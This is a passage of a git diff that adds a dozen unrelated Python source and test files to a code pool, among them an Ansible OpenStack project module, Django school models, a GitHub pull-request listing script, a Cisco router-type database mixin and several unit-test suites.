valid, + false if not. + """ + + file = open(filename, 'w+') + for line in content: + file.write(line + "\n") + file.close() + self.cases[filename] = expected + + def create_test_files(self, tmp_path, extension, header): + """ + Creates 2 test files for .tf, .xml, .go, etc and one for + Dockerfile, and Makefile. + + The reason for the difference is that Makefile and Dockerfile + don't have an extension. These would be substantially more + difficult to create negative test cases, unless the files + were written, deleted, and re-written. + + Args: + tmp_path: (string) the path in which to create the files + extension: (string) the file extension + header: (list of strings) the header/boilerplate content + """ + + content = "\n...blah \ncould be code or could be garbage\n" + special_cases = ["Dockerfile", "Makefile"] + header_template = deepcopy(header) + valid_filename = tmp_path + extension + valid_content = header_template.append(content) + if extension not in special_cases: + # Invalid test cases for non-*file files (.tf|.py|.sh|.yaml|.xml..) + invalid_header = [] + for line in header_template: + if "2018" in line: + invalid_header.append(line.replace('2018', 'YEAR')) + else: + invalid_header.append(line) + invalid_header.append(content) + invalid_content = invalid_header + invalid_filename = tmp_path + "invalid." + extension + self.write_file(invalid_filename, invalid_content, False) + valid_filename = tmp_path + "testfile." + extension + + valid_content = header_template + self.write_file(valid_filename, valid_content, True) + + def setUp(self): + """ + Set initial counts and values, and initializes the setup of the + test files. + """ + self.cases = {} + self.tmp_path = mkdtemp() + "/" + self.my_args = get_args() + self.my_refs = get_refs(self.my_args) + self.my_regex = get_regexs() + self.prexisting_file_count = len( + get_files(self.my_refs.keys(), self.my_args)) + for key in self.my_refs: + self.create_test_files(self.tmp_path, key, + self.my_refs.get(key)) + + def tearDown(self): + """ Delete the test directory. """ + rmtree(self.tmp_path) + + def test_files_headers(self): + """ + Confirms that the expected output of has_valid_header is correct. + """ + for case in self.cases: + if self.cases[case]: + self.assertTrue(has_valid_header(case, self.my_refs, + self.my_regex)) + else: + self.assertFalse(has_valid_header(case, self.my_refs, + self.my_regex)) + + def test_invalid_count(self): + """ + Test that the initial files found isn't zero, indicating + a problem with the code. + """ + self.assertFalse(self.prexisting_file_count == 0) + + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard008/Python/0077703_folders.py b/pool/shard008/Python/0077703_folders.py new file mode 100644 index 0000000000000000000000000000000000000000..1dd9de99e92d6ed1bed378420f4065d6e81c98a3 --- /dev/null +++ b/pool/shard008/Python/0077703_folders.py @@ -0,0 +1,38 @@ +from ..Helpers import get_xml_as_string +from ..Object import Data + + +class Folder(object): + def __init__(self, client): + self.client = client + + def add(self, folder_group_id, name): + """ + Create a new folder to folder group. + + :name: The name of the new folder to create + """ + assert type(name) == str + + xml_string = get_xml_as_string('add_folder.xml') + xml_string = xml_string.format( + sid=self.client._session_id, + name=name, + folder_group=int(folder_group_id)) + + xml_response = self.client.doHttpCall(data=xml_string) + + return Data(xml_response, + self.client.getAPIStatus(xml_response), + self.client.getAPIMessages(xml_response)) + + def all(self): + xml_string = get_xml_as_string('list.xml') + xml_string = xml_string.format(sid=self.client._session_id, + method_name='folder.list') + + xml_response = self.client.doHttpCall(data=xml_string) + + return Data(xml_response, + self.client.getAPIStatus(xml_response), + self.client.getAPIMessages(xml_response)) diff --git a/pool/shard008/Python/0077705_test_forms.py b/pool/shard008/Python/0077705_test_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..fa03355a87e79fa33b96b1e7b522840606ce5a8d --- /dev/null +++ b/pool/shard008/Python/0077705_test_forms.py @@ -0,0 +1,100 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import pretend +import pytest +import wtforms + +from warehouse.accounts.forms import LoginForm + + +class TestLoginForm: + + def test_creation(self): + login_service = pretend.stub() + form = LoginForm(login_service=login_service) + + assert form.login_service is login_service + + def test_validate_username_with_no_user(self): + login_service = pretend.stub( + find_userid=pretend.call_recorder(lambda userid: None), + ) + form = LoginForm(login_service=login_service) + field = pretend.stub(data="my_username") + + with pytest.raises(wtforms.validators.ValidationError): + form.validate_username(field) + + assert login_service.find_userid.calls == [pretend.call("my_username")] + + def test_validate_username_with_user(self): + login_service = pretend.stub( + find_userid=pretend.call_recorder(lambda userid: 1), + ) + form = LoginForm(login_service=login_service) + field = pretend.stub(data="my_username") + + form.validate_username(field) + + assert login_service.find_userid.calls == [pretend.call("my_username")] + + def test_validate_password_no_user(self): + login_service = pretend.stub( + find_userid=pretend.call_recorder(lambda userid: None), + ) + form = LoginForm( + data={"username": "my_username"}, + login_service=login_service, + ) + field = pretend.stub(data="password") + + form.validate_password(field) + + assert login_service.find_userid.calls == [pretend.call("my_username")] + + def test_validate_password_ok(self): + login_service = pretend.stub( + find_userid=pretend.call_recorder(lambda userid: 1), + check_password=pretend.call_recorder( + lambda userid, password: True + ), + ) + form = LoginForm( + data={"username": "my_username"}, + login_service=login_service, + ) + field = pretend.stub(data="pw") + + form.validate_password(field) + + assert login_service.find_userid.calls == [pretend.call("my_username")] + assert login_service.check_password.calls == [pretend.call(1, "pw")] + + def test_validate_password_notok(self, db_session): + login_service = pretend.stub( + find_userid=pretend.call_recorder(lambda userid: 1), + check_password=pretend.call_recorder( + lambda userid, password: False + ), + ) + form = LoginForm( + data={"username": "my_username"}, + login_service=login_service, + ) + field = pretend.stub(data="pw") + + with pytest.raises(wtforms.validators.ValidationError): + form.validate_password(field) + + assert login_service.find_userid.calls == [pretend.call("my_username")] + assert login_service.check_password.calls == [pretend.call(1, "pw")] diff --git a/pool/shard008/Python/0077715_os_project.py b/pool/shard008/Python/0077715_os_project.py new file mode 100644 index 0000000000000000000000000000000000000000..22f501075581ed92664b2da501835cc14d302832 --- /dev/null +++ b/pool/shard008/Python/0077715_os_project.py @@ -0,0 +1,232 @@ +#!/usr/bin/python +# Copyright (c) 2015 IBM Corporation +# +# This module is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This software is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this software. If not, see . + + +try: + import shade + HAS_SHADE = True +except ImportError: + HAS_SHADE = False + +from distutils.version import StrictVersion + +ANSIBLE_METADATA = {'status': ['preview'], + 'supported_by': 'community', + 'version': '1.0'} + +DOCUMENTATION = ''' +--- +module: os_project +short_description: Manage OpenStack Projects +extends_documentation_fragment: openstack +version_added: "2.0" +author: "Alberto Gireud (@agireud)" +description: + - Manage OpenStack Projects. Projects can be created, + updated or deleted using this module. A project will be updated + if I(name) matches an existing project and I(state) is present. + The value for I(name) cannot be updated without deleting and + re-creating the project. +options: + name: + description: + - Name for the project + required: true + description: + description: + - Description for the project + required: false + default: None + domain_id: + description: + - Domain id to create the project in if the cloud supports domains. + The domain_id parameter requires shade >= 1.8.0 + required: false + default: None + aliases: ['domain'] + enabled: + description: + - Is the project enabled + required: false + default: True + state: + description: + - Should the resource be present or absent. + choices: [present, absent] + default: present +requirements: + - "python >= 2.6" + - "shade" +''' + +EXAMPLES = ''' +# Create a project +- os_project: + cloud: mycloud + state: present + name: demoproject + description: demodescription + domain_id: demoid + enabled: True + +# Delete a project +- os_project: + cloud: mycloud + state: absent + name: demoproject +''' + + +RETURN = ''' +project: + description: Dictionary describing the project. + returned: On success when I(state) is 'present' + type: dictionary + contains: + id: + description: Project ID + type: string + sample: "f59382db809c43139982ca4189404650" + name: + description: Project name + type: string + sample: "demoproject" + description: + description: Project description + type: string + sample: "demodescription" + enabled: + description: Boolean to indicate if project is enabled + type: bool + sample: True +''' + +def _needs_update(module, project): + keys = ('description', 'enabled') + for key in keys: + if module.params[key] is not None and module.params[key] != project.get(key): + return True + + return False + +def _system_state_change(module, project): + state = module.params['state'] + if state == 'present': + if project is None: + changed = True + else: + if _needs_update(module, project): + changed = True + else: + changed = False + + elif state == 'absent': + if project is None: + changed=False + else: + changed=True + + return changed; + +def main(): + + argument_spec = openstack_full_argument_spec( + name=dict(required=True), + description=dict(required=False, default=None), + domain_id=dict(required=False, default=None, aliases=['domain']), + enabled=dict(default=True, type='bool'), + state=dict(default='present', choices=['absent', 'present']) + ) + + module_kwargs = openstack_module_kwargs() + module = AnsibleModule( + argument_spec, + supports_check_mode=True, + **module_kwargs + ) + + if not HAS_SHADE: + module.fail_json(msg='shade is required for this module') + + name = module.params['name'] + description = module.params['description'] + domain = module.params.pop('domain_id') + enabled = module.params['enabled'] + state = module.params['state'] + + if domain and StrictVersion(shade.__version__) < StrictVersion('1.8.0'): + module.fail_json(msg="The domain argument requires shade >=1.8.0") + + try: + if domain: + opcloud = shade.operator_cloud(**module.params) + try: + # We assume admin is passing domain id + dom = opcloud.get_domain(domain)['id'] + domain = dom + except: + # If we fail, maybe admin is passing a domain name. + # Note that domains have unique names, just like id. + try: + dom = opcloud.search_domains(filters={'name': domain})[0]['id'] + domain = dom + except: + # Ok, let's hope the user is non-admin and passing a sane id + pass + + cloud = shade.openstack_cloud(**module.params) + + if domain: + project = cloud.get_project(name, domain_id=domain) + else: + project = cloud.get_project(name) + + if module.check_mode: + module.exit_json(changed=_system_state_change(module, project)) + + if state == 'present': + if project is None: + project = cloud.create_project( + name=name, description=description, + domain_id=domain, + enabled=enabled) + changed = True + else: + if _needs_update(module, project): + project = cloud.update_project( + project['id'], description=description, + enabled=enabled) + changed = True + else: + changed = False + module.exit_json(changed=changed, project=project) + + elif state == 'absent': + if project is None: + changed=False + else: + cloud.delete_project(project['id']) + changed=True + module.exit_json(changed=changed) + + except shade.OpenStackCloudException as e: + module.fail_json(msg=e.message, extra_data=e.extra_data) + +from ansible.module_utils.basic import * +from ansible.module_utils.openstack import * + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0077716_game_controller.py b/pool/shard008/Python/0077716_game_controller.py new file mode 100644 index 0000000000000000000000000000000000000000..6212d6efaf1c7e661bbdaa070d47e21f8232beb7 --- /dev/null +++ b/pool/shard008/Python/0077716_game_controller.py @@ -0,0 +1,245 @@ +# Copyright 2018 Google Inc. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program; if not, write to the Free Software Foundation, Inc., +# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +"""A high level DM Lab controller class.""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import numpy as np +import six + +from python.tests.utils import math_utils + +# Tolerance used when changing player orientation. +ROTATION_TOLERANCE = 2. + +# Tolerance used when changing player position. +POSITION_TOLERANCE = 5. + +_FPS = 60 +_TURN_ACTION_NAME = 'LOOK_LEFT_RIGHT_PIXELS_PER_FRAME' +_MOVE_ACTION_NAME = 'MOVE_BACK_FORWARD' +_JUMP_ACTION_NAME = 'JUMP' +_NOOP_ACTION = np.array([0, 0, 0, 0, 0, 0, 0], dtype=np.intc) +_MIN_BRAKING_SPEED = 50. +_VELOCITY_TOLERANCE = 1e-08 +_INTERNAL_ROTATION_TOLERANCE = ROTATION_TOLERANCE * .5 +_INTERNAL_POSITION_TOLERANCE = POSITION_TOLERANCE * .7 +_SLOW_MOVE_DISTANCE = 10. + + +class ControllerException(Exception): + """Base class for all game controller exceptions.""" + + +class EpisodeFinishedError(ControllerException): + """Raised when an episode is finished while controller is running.""" + + +class PathBlockedError(ControllerException): + """Raised when player path is blocked.""" + + +class GameController(object): + """A high level game controller class. + + The class allows interacting with DMLab environment using high level actions, + such as look at specific direction, move to specific coordinates etc. + """ + + def __init__(self, env): + """Initialize the controller.""" + self._env = env + + action_spec = env.action_spec() + self._action_index = { + action['name']: i + for i, action in enumerate(action_spec) + } + + def look_at_2d(self, target_orientation, steps=10): + """Rotate the player in horizontal plane towards the angle.""" + delta_angle = math_utils.delta_angle_degrees(self.orientation[1], + target_orientation) + self.rotate(delta_angle, steps=steps) + + def rotate(self, delta_angle, steps=10): + """Rotate the player delta_angle degrees in horizontal plane.""" + start = self.orientation + target = np.array([start[0], start[1] + delta_angle, 0.0]) + + speed = self._rotation_speed(delta_angle, steps=steps) + + if np.abs(speed) < 1.: + return + + actions = self._get_actions(_TURN_ACTION_NAME, speed) + + error_message = ('Failed to reach requested orientation. Start: {0}, ' + 'target: {1}, current: {2}.') + for _ in six.moves.range(steps): + if self._env.is_running(): + self._step(actions, 1) + else: + raise AssertionError( + error_message.format(start[1], target[1], self.orientation[1])) + + if abs(math_utils.delta_angle_degrees( + self.orientation[1], target[1])) >= _INTERNAL_ROTATION_TOLERANCE: + if steps == 1: + raise AssertionError( + error_message.format(start[1], target[1], self.orientation[1])) + else: + self.rotate( + math_utils.delta_angle_degrees(self.orientation[1], target[1]), + steps=1) + + def move_to(self, + target_x, + target_y, + max_steps=2000, + max_speed=None): + """Move the player to the target location.""" + pos = self.position + target = np.array([target_x, target_y, pos[2]]) + + if max_speed is None: + max_speed = float('inf') + + direction = (target - pos)[:2] + last_pos = np.array([float('inf'), float('inf'), float('inf')]) + target_orientation = np.degrees(np.arctan2(direction[1], direction[0])) + self.look_at_2d(target_orientation) + + blocked_frames_count = 0 + for _ in six.moves.range(max_steps): + move_action_value = 1 + pos = self.position + direction = (target - pos)[:2] + distance = np.linalg.norm(direction) + speed = np.linalg.norm(self.velocity[:2]) + + if distance < _SLOW_MOVE_DISTANCE: + if speed > 0.0: + self.stop() + elif speed > max_speed: + move_action_value = 0 + + if distance < _INTERNAL_POSITION_TOLERANCE: + break + + if np.linalg.norm(last_pos - pos) < .1: + blocked_frames_count += 1 + if blocked_frames_count > 10: + raise PathBlockedError( + 'Failed to reach target. The path might be blocked.') + else: + blocked_frames_count = 0 + last_pos = pos + + target_orientation = np.degrees(np.arctan2(direction[1], direction[0])) + rotation_speed = self._rotation_speed( + math_utils.delta_angle_degrees(self.orientation[1], + target_orientation), + steps=1) + actions = self._get_empty_actions() + self._set_action_value(actions, _TURN_ACTION_NAME, rotation_speed) + self._set_action_value(actions, _MOVE_ACTION_NAME, move_action_value) + self._step(actions, 1) + else: + raise AssertionError('Failed to reach target in max steps.') + + def stop(self, max_steps=2000): + """Stops the player as soon as possible.""" + start_orientation = self.orientation[1] + for _ in six.moves.range(max_steps): + speed = np.linalg.norm(self.velocity[:2]) + if speed < _VELOCITY_TOLERANCE and np.allclose( + self.rotation_velocity, [0.0, 0.0, 0.0], + atol=_VELOCITY_TOLERANCE): + break + if speed < _MIN_BRAKING_SPEED: + self._step(_NOOP_ACTION, 1) + else: + self.look_at_2d( + self.orientation[1] + + np.degrees(np.arctan2(self.velocity[1], self.velocity[0])), + steps=1) + + self._step(self._get_actions(_MOVE_ACTION_NAME, -1), 1) + else: + raise AssertionError('Failed to stop in max steps.') + self.look_at_2d(start_orientation, steps=1) + + def jump(self): + self._step(self._get_actions(_JUMP_ACTION_NAME, 1), 1) + self.stop() + + def _step(self, actions, steps): + try: + return self._env.step(actions, steps) + except RuntimeError: + if self._env.is_running(): + raise + else: + raise EpisodeFinishedError() + + @property + def position(self): + return self._observations['DEBUG.POS.TRANS'] + + @property + def orientation(self): + return self._observations['DEBUG.POS.ROT'] + + @property + def velocity(self): + return self._observations['VEL.TRANS'] + + @property + def rotation_velocity(self): + return self._observations['VEL.ROT'] + + @property + def _observations(self): + try: + return self._env.observations() + except RuntimeError: + if self._env.is_running(): + raise + else: + raise EpisodeFinishedError() + + def _get_empty_actions(self): + return np.zeros([len(self._action_index)], dtype=np.intc) + + def _set_action_value(self, actions, action_name, action_value): + actions[self._action_index[action_name]] = action_value + + def _get_actions(self, action_name, action_value): + actions = self._get_empty_actions() + self._set_action_value(actions, action_name, action_value) + return actions + + def _rotation_speed(self, delta_angle, steps=10): + start = self.orientation + target = np.array([start[0], start[1] + delta_angle, 0.0]) + + if math_utils.angles_within_tolerance(self.orientation, target): + return 0.0 + + return math_utils.calculate_speed(_FPS, start, target, steps)[1] diff --git a/pool/shard008/Python/0077721_models.py b/pool/shard008/Python/0077721_models.py new file mode 100644 index 0000000000000000000000000000000000000000..c51f5140a7e17f1cd50da7ec3592b98c3a61686e --- /dev/null +++ b/pool/shard008/Python/0077721_models.py @@ -0,0 +1,90 @@ +from django.db import models +from django.contrib.auth.models import User +from datetime import date + +class Subject(models.Model): + name = models.CharField(max_length = 100) + short_name = models.CharField(max_length = 10, unique=True, null=True) + + def __str__(self): + return self.name + +class Job(models.Model): + name = models.CharField(max_length = 512) + short_name = models.CharField(max_length = 10, null=True) + subject = models.ForeignKey(Subject) + + def __str__(self): + return self.name + +class Group(models.Model): + name = models.CharField(max_length=10) + year = models.IntegerField() + + def __str__(self): + return self.name + +class Semester(models.Model): + group = models.ForeignKey(Group) + number = models.IntegerField(default=1) + subjects = models.ManyToManyField(Subject) + + start_date = models.DateField(null=True) + end_date = models.DateField(null=True) + + def isCurrent(self): + return self.start_date <= date.today() <= self.end_date + + def __str__(self): + return self.group.name + ' semester ' + str(self.number) + +class Student(models.Model): + user = models.OneToOneField(User,null=True) + name = models.CharField(max_length=100) + patronymic = models.CharField(max_length=100) + surname = models.CharField(max_length=100) + group = models.ForeignKey(Group,null=True) + + subjects = models.ManyToManyField(Subject, through='Student_Subject') + jobs = models.ManyToManyField(Job, through='Log') + + def __str__(self): + return self.surname + ' ' + self.name + +class Teacher(models.Model): + user = models.OneToOneField(User,null=True) + name = models.CharField(max_length=100) + patronymic = models.CharField(max_length=100) + surname = models.CharField(max_length=100) + + subjects = models.ManyToManyField(Subject) + + def __str__(self): + return self.surname + ' ' + self.name + ' ' + self.patronymic + +class Student_Subject(models.Model): + student = models.ForeignKey(Student) + subject = models.ForeignKey(Subject) + teacher = models.ForeignKey(Teacher) + + def __str__(self): + return ( + str(self.student) + ' - ' + + str(self.subject) + ' - ' + + str(self.teacher.surname) + ) + +class Log(models.Model): + job = models.ForeignKey(Job) + student = models.ForeignKey(Student) + + mark = models.IntegerField(null=True) + date = models.DateField() + confirmed = models.BooleanField(default=False) + + def __str__(self): + return ( + str(self.student) + ' - ' + + str(self.job.subject) + ' - ' + + str(self.job) + ) \ No newline at end of file diff --git a/pool/shard008/Python/0077724_prs.py b/pool/shard008/Python/0077724_prs.py new file mode 100644 index 0000000000000000000000000000000000000000..edf577dc206fa4c4001d0da7e1a9230016510990 --- /dev/null +++ b/pool/shard008/Python/0077724_prs.py @@ -0,0 +1,29 @@ +# cerner_2tothe5th_2021 +# find all open pull requests for the associated user order desc by updated and pretty print them! +import requests +import json +import argparse +from rich.console import Console +from rich.table import Table, Column + +# create cli parser +parser = argparse.ArgumentParser() +parser.add_argument("login") +parser.add_argument("url") +parser.add_argument("token") +args = parser.parse_args() + +query = "{ \ + user(login: \"%s\") { \ + pullRequests(first: 100, states: OPEN, orderBy: {field: UPDATED_AT, direction: DESC}) { \ + nodes { title url createdAt reviewDecision } } } } " % args.login + +response = requests.post(args.url, json={'query': query}, headers={ 'Authorization': "Bearer %s" % args.token }) + +table = Table(Column("Date", style="cyan"), Column("Title", style="green"), Column("Url", style="yellow"), Column("Status", style="blue"), title="Pull Requests" ) + +for row in json.loads(response.text)["data"]["user"]["pullRequests"]["nodes"]: + status = ":thumbs_up:" if row["reviewDecision"] == "APPROVED" else ":cross_mark:" + table.add_row(row["createdAt"][0:10], row["title"], row["url"], status) + +Console().print(table) diff --git a/pool/shard008/Python/0077726_routertype_db.py b/pool/shard008/Python/0077726_routertype_db.py new file mode 100644 index 0000000000000000000000000000000000000000..a87707be84bd4453d09db8f7df56461ee9280c45 --- /dev/null +++ b/pool/shard008/Python/0077726_routertype_db.py @@ -0,0 +1,151 @@ +# Copyright 2014 Cisco Systems, Inc. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + + +from oslo_db import exception as db_exc +from oslo_log import log as logging +from oslo_utils import excutils +from oslo_utils import uuidutils +from sqlalchemy import exc as sql_exc +from sqlalchemy.orm import exc + +from networking_cisco.plugins.cisco.db.l3 import l3_models +import networking_cisco.plugins.cisco.extensions.routertype as routertype + +LOG = logging.getLogger(__name__) + + +class RoutertypeDbMixin(routertype.RoutertypePluginBase): + """Mixin class for Router types.""" + + def create_routertype(self, context, routertype): + """Creates a router type. + + Also binds it to the specified hosting device template. + """ + LOG.debug("create_routertype() called. Contents %s", routertype) + rt = routertype['routertype'] + with context.session.begin(subtransactions=True): + routertype_db = l3_models.RouterType( + id=self._get_id(rt), + tenant_id=rt['tenant_id'], + name=rt['name'], + description=rt['description'], + template_id=rt['template_id'], + ha_enabled_by_default=rt['ha_enabled_by_default'], + shared=rt['shared'], + slot_need=rt['slot_need'], + scheduler=rt['scheduler'], + driver=rt['driver'], + cfg_agent_service_helper=rt['cfg_agent_service_helper'], + cfg_agent_driver=rt['cfg_agent_driver']) + context.session.add(routertype_db) + return self._make_routertype_dict(routertype_db) + + def update_routertype(self, context, id, routertype): + LOG.debug("update_routertype() called") + rt = routertype['routertype'] + with context.session.begin(subtransactions=True): + rt_query = context.session.query(l3_models.RouterType) + if not rt_query.filter_by(id=id).update(rt): + raise routertype.RouterTypeNotFound(id=id) + return self.get_routertype(context, id) + + def delete_routertype(self, context, id): + LOG.debug("delete_routertype() called") + try: + with context.session.begin(subtransactions=True): + routertype_query = context.session.query(l3_models.RouterType) + if not routertype_query.filter_by(id=id).delete(): + raise routertype.RouterTypeNotFound(id=id) + except db_exc.DBError as e: + with excutils.save_and_reraise_exception() as ctxt: + if isinstance(e.inner_exception, sql_exc.IntegrityError): + ctxt.reraise = False + raise routertype.RouterTypeInUse(id=id) + + def get_routertype(self, context, id, fields=None): + LOG.debug("get_routertype() called") + rt_db = self._get_routertype(context, id) + return self._make_routertype_dict(rt_db, fields) + + def get_routertypes(self, context, filters=None, fields=None, + sorts=None, limit=None, marker=None, + page_reverse=False): + LOG.debug("get_routertypes() called") + return self._get_collection(context, l3_models.RouterType, + self._make_routertype_dict, + filters=filters, fields=fields, + sorts=sorts, limit=limit, + marker_obj=marker, + page_reverse=page_reverse) + + def get_routertype_by_id_name(self, context, id_or_name): + return self._make_routertype_dict( + self.get_routertype_db_by_id_name(context, id_or_name)) + + def get_routertype_db_by_id_name(self, context, id_or_name): + query = context.session.query(l3_models.RouterType) + query = query.filter(l3_models.RouterType.id == id_or_name) + try: + return query.one() + except exc.MultipleResultsFound: + with excutils.save_and_reraise_exception(): + LOG.error('Database inconsistency: Multiple router types ' + 'with same id %s', id_or_name) + raise routertype.RouterTypeNotFound(router_type=id_or_name) + except exc.NoResultFound: + query = context.session.query(l3_models.RouterType) + query = query.filter(l3_models.RouterType.name == id_or_name) + try: + return query.one() + except exc.MultipleResultsFound: + with excutils.save_and_reraise_exception(): + LOG.debug('Multiple router types with name %s found. ' + 'Id must be specified to allow arbitration.', + id_or_name) + raise routertype.MultipleRouterTypes(name=id_or_name) + except exc.NoResultFound: + with excutils.save_and_reraise_exception(): + LOG.error('No router type with name %s found.', + id_or_name) + raise routertype.RouterTypeNotFound(id=id_or_name) + + def _get_routertype(self, context, id): + try: + return self._get_by_id(context, l3_models.RouterType, id) + except exc.NoResultFound: + raise routertype.RouterTypeNotFound(id=id) + + def _make_routertype_dict(self, routertype, fields=None): + res = {'id': routertype['id'], + 'tenant_id': routertype['tenant_id'], + 'name': routertype['name'], + 'description': routertype['description'], + 'template_id': routertype['template_id'], + 'ha_enabled_by_default': routertype['ha_enabled_by_default'], + 'shared': routertype['shared'], + 'slot_need': routertype['slot_need'], + 'scheduler': routertype['scheduler'], + 'driver': routertype['driver'], + 'cfg_agent_service_helper': routertype[ + 'cfg_agent_service_helper'], + 'cfg_agent_driver': routertype['cfg_agent_driver']} + return self._fields(res, fields) + + def _get_id(self, res): + uuid = res.get('id') + if uuid: + return uuid + return uuidutils.generate_uuid() diff --git a/pool/shard008/Python/0077731_stt_newsml.py b/pool/shard008/Python/0077731_stt_newsml.py new file mode 100644 index 0000000000000000000000000000000000000000..fe1e6050673d966b8f33d3aeb4dc63d297fee771 --- /dev/null +++ b/pool/shard008/Python/0077731_stt_newsml.py @@ -0,0 +1,49 @@ +# -*- coding: utf-8; -*- +# +# This file is part of Superdesk. +# +# Copyright 2013 - 2018 Sourcefabric z.u. and contributors. +# +# For the full copyright and license information, please see the +# AUTHORS and LICENSE files distributed with this source code, or +# at https://www.sourcefabric.org/superdesk/license + +from superdesk.io.feed_parsers.stt_newsml import STTNewsMLFeedParser +from superdesk.io.registry import register_feed_parser +from superdesk.errors import ParserError +from . import utils +import logging + +logger = logging.getLogger(__name__) +IPTC_NS = 'http://iptc.org/std/nar/2006-10-01/' + + +class NTBSTTNewsMLFeedParser(STTNewsMLFeedParser): + """ + Feed Parser which can parse STT variant of NewsML + """ + + NAME = 'ntb_sttnewsml' + label = "NTB STT NewsML" + + def can_parse(self, xml): + return xml.tag.endswith('newsItem') + + def parse(self, xml, provider=None): + try: + item = super().parse(xml, provider)[0] + # SDNTB-462 requires that slugline is removed + del item['slugline'] + sport = bool(self.root.xpath('//iptc:subject[@type="cpnat:abstract" and @qcode="sttsubj:15000000"]', + namespaces={'iptc': IPTC_NS})) + cat = utils.SPORT_CATEGORY if sport else utils.DEFAULT_CATEGORY + category = {'qcode': cat, 'name': cat, 'scheme': 'category'} + item['subject'] = utils.filter_missing_subjects(item.get('subject')) + item['subject'].append(category) + utils.set_default_service(item) + return [item] + except Exception as ex: + raise ParserError.newsmlTwoParserError(ex, provider) + + +register_feed_parser(NTBSTTNewsMLFeedParser.NAME, NTBSTTNewsMLFeedParser()) diff --git a/pool/shard008/Python/0077734_template_parser_test.py b/pool/shard008/Python/0077734_template_parser_test.py new file mode 100644 index 0000000000000000000000000000000000000000..88b9eb5606761e01fcb84d69e65f5aa649b1f44a --- /dev/null +++ b/pool/shard008/Python/0077734_template_parser_test.py @@ -0,0 +1,27 @@ +''' +Created on Oct 6, 2014 + +@author: sunnycomes +''' +import os + +from src.common import template_parser +from src.common.markdown_parser import BasicParser + + +if __name__ == '__main__': + params = {} + params["author"] = "options.author" + params["url"] = "options.url" + params["title"] = "options.title" + params["github_fork_link"] = "options.github_fork_link" + params["disqus_shortname"] = "options.disqus_shortname" + + post = BasicParser.parse(os.getcwd() + os.sep + "resources", "2014-03-1-talk-about-bitcoin-change.markdown") + + path = os.getcwd() + os.sep + "resources" + + file_name = "post.html" + + html = template_parser.TemplateParser.parse(path, file_name, post=post, params=params) + print html \ No newline at end of file diff --git a/pool/shard008/Python/0077737_test_volume_encryption_types.py b/pool/shard008/Python/0077737_test_volume_encryption_types.py new file mode 100644 index 0000000000000000000000000000000000000000..9938dba180f751b67db3086b9b28073cfea06d80 --- /dev/null +++ b/pool/shard008/Python/0077737_test_volume_encryption_types.py @@ -0,0 +1,99 @@ +# Copyright (c) 2013 The Johns Hopkins University/Applied Physics Laboratory +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from cinderclient.v2.volume_encryption_types import VolumeEncryptionType +from cinderclient.tests.unit import utils +from cinderclient.tests.unit.v2 import fakes + +cs = fakes.FakeClient() + + +class VolumeEncryptionTypesTest(utils.TestCase): + """ + Test suite for the Volume Encryption Types Resource and Manager. + """ + + def test_list(self): + """ + Unit test for VolumeEncryptionTypesManager.list + + Verify that a series of GET requests are made: + - one GET request for the list of volume types + - one GET request per volume type for encryption type information + + Verify that all returned information is :class: VolumeEncryptionType + """ + encryption_types = cs.volume_encryption_types.list() + cs.assert_called_anytime('GET', '/types') + cs.assert_called_anytime('GET', '/types/2/encryption') + cs.assert_called_anytime('GET', '/types/1/encryption') + for encryption_type in encryption_types: + self.assertIsInstance(encryption_type, VolumeEncryptionType) + + def test_get(self): + """ + Unit test for VolumeEncryptionTypesManager.get + + Verify that one GET request is made for the volume type encryption + type information. Verify that returned information is :class: + VolumeEncryptionType + """ + encryption_type = cs.volume_encryption_types.get(1) + cs.assert_called('GET', '/types/1/encryption') + self.assertIsInstance(encryption_type, VolumeEncryptionType) + + def test_get_no_encryption(self): + """ + Unit test for VolumeEncryptionTypesManager.get + + Verify that a request on a volume type with no associated encryption + type information returns a VolumeEncryptionType with no attributes. + """ + encryption_type = cs.volume_encryption_types.get(2) + self.assertIsInstance(encryption_type, VolumeEncryptionType) + self.assertFalse(hasattr(encryption_type, 'id'), + 'encryption type has an id') + + def test_create(self): + """ + Unit test for VolumeEncryptionTypesManager.create + + Verify that one POST request is made for the encryption type creation. + Verify that encryption type creation returns a VolumeEncryptionType. + """ + result = cs.volume_encryption_types.create(2, {'provider': 'Test', + 'key_size': None, + 'cipher': None, + 'control_location': + None}) + cs.assert_called('POST', '/types/2/encryption') + self.assertIsInstance(result, 